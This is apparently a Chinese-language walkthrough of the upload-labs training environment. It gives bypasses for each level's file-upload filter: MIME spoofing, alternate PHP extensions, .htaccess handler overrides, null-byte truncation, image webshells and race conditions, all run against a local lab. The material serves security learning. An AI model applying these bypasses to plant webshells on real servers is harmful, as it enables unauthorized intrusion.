使用环境
环境的下载与搭建
https://github.com/c0ny1/upload-labs
推荐使用docker
配环境太烦了
知识点与参考
项目作者画的图
推荐阅读:
https://blog.csdn.net/wn314/article/details/77074477
https://blog.csdn.net/wn314/article/details/77388337
https://blog.csdn.net/wn314/article/details/77388289
upload-labs
0x01
客户端检验
1 | function checkFile() { |
方法:
先上传符合条件的文件,再bp抓包,修改后缀名,需注意可能要修改请求头中的Content-Length.
1 | POST /Pass-01/index.php HTTP/1.1 |
访问http://192.168.21.135:8123/upload/phpinfo.php
0x02
1 | $is_upload = false; |
payload :
还是第一题http请求,只要MIME符合image/png
image/jpg
image/gif
0x03
1 | $is_upload = false; |
需要注意的是 php.ini
1 | # <FilesMatch \.php$> |
所以此题可以上传.php3
.phtml
文件,并可执行
还有一个问题
1 | $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; |
这就需要爆破路径了。配合bp 的爆破模板
data时间有问题emmm需要修改
1 | date_default_timezone_set("Asia/Shanghai"); |
1 | import requests |
http://192.168.21.135:8123/upload/202004281500541171.php3
[Finished in 0.8s]
0x04
1 | $is_upload = false; |
当前配置
1 | # <FilesMatch \.php$> |
方法1
利用apache2对未知扩展名的特性,从右到左开始解析扩展名,如果无法识别,接着往左识别,知道可以识别。
1 | ------WebKitFormBoundaryZEvupLzlFsGWVTE2 |
方法2
此题并没有禁止上传.htaccess
文件,所以可以利用.htaccess
来修改upload 文件夹下的配置。
.htaccess
文件
1 | SetHandler application/x-httpd-php |
这时,apache2会解析文件为php文件
1 | ------WebKitFormBoundaryZEvupLzlFsGWVTE2 |
0x05
1 | $is_upload = false; |
这题使用第四题的第一种方法,不再赘述。
0x06
1 | $is_upload = false; |
注意文件名的拼接方式为UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
而不是UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_name
同时在过滤部分少了一个$file_ext = strtolower($file_ext); //转换为小写
所以可以上传后缀名为.PHP
的文件
在结合第三题的爆破目录的方法。
result
1 | http://192.168.21.135:8123/upload/202004281019342703.PHP |
0x07
1 | $is_upload = false; |
缺少空格检测,所以可以在文件名后添加一个空格,就可以上传,但问题是无法解析为php文件
在windows环境下倒是可以利用忽视后缀名空格
的特性来执行,修改后缀名为.php
注意还是有空格
0x08
1 | $is_upload = false; |
没有过滤.
可以用1.php.
来绕过,也可以被解析
Linux和Windows都可以
0x09
1 | $is_upload = false; |
去除字符串::$DATA
在Windows: http请求头
1 | -----------------------------117554319939046175791880698296 |
0x10
1 | $is_upload = false; |
跟前面一样
1 | filename="1.php.aaaa" |
0x11
1 | $is_upload = false; |
str_ireplace()
函数替换字符串中的一些字符(不区分大小写)。
可以改为filename="2.PphpHP"
来绕过
0x12
1 | $is_upload = false; |
strrpos()
函数查找字符串在另一字符串中最后一次出现的位置。
注释:strrpos()
函数对大小写敏感。
substr()
函数返回字符串的一部分。
利用save_path和字符截取
1 | POST /useful/upload-labs/Pass-12/index.php?save_path=../upload/1.php%00 HTTP/1.1 |
0x13
1 | $is_upload = false; |
先在后面添加一个空格,再在二进制改
0x14
hint:
上传图片马
到服务器。
注意:
1.保证上传后的图片马中仍然包含完整的一句话
或webshell
代码。
2.使用文件包含漏洞能运行图片马中的恶意代码。
3.图片马要.jpg
,.png
,.gif
三种后缀都上传成功才算过关!
1 | function getReailFileType($filename){ |
include.php
1 |
|
考点是生产图片马
cmd 命令
1 | copy 1.jpg/b+1.php/a 3.jpg |
同样需要bp+python 来爆破目录
wehshell_gif.gif
wehshell_jpg.jpg
wehshell_png.png
0x15
与上一题相仿,可以采用相同的方法
1 | function isImage($filename){ |
0x16
14的payload
1 | function isImage($filename){ |
0x17 二次渲染
直接用图片马不行
1 | if (isset($_POST['submit'])){ |
payload:
1 | POST /Pass-17/index.php?action=show_code HTTP/1.1 |
0x18
1 | $is_upload = false; |
- 条件竞争
本题会先保存文件,之后判断后缀名,重命名文件。
0x19
代码审计
1 | //index.php |
思路是利用条件竞争,使rename较慢执行,同时bp访问upload1.php.rar、利用apache2的特性,生成新的文件phpinfo.php
,维持联系。
记录一个坑点,试了还久,才发现前面还有一个upload前缀 ,我去,怪不得无法生产phpinfo.php, 我实属瞎子 /(ㄒoㄒ)/~~ 怀疑是没加
/
正常不应该在upload文件夹下吗?
1.php.rar
访问1.php.rar以生成phpinfo.php
0x20
1 | $is_upload = false; |
1 | php > print_r(pathinfo("/testweb/test.txt.php")); |
payload:
直接利用apache2特性
1 | POST /Pass-20/index.php HTTP/1.1 |
0x21 数组绕过 + apache2解析特性
1 | $is_upload = false; |
explode()
1 | php > $str = 'one,two,three,four'; |
reset()
1 | echo reset($str) . "<br>"; // 把内部指针移动到数组的首个元素 |
payload
1 | POST /Pass-21/index.php HTTP/1.1 |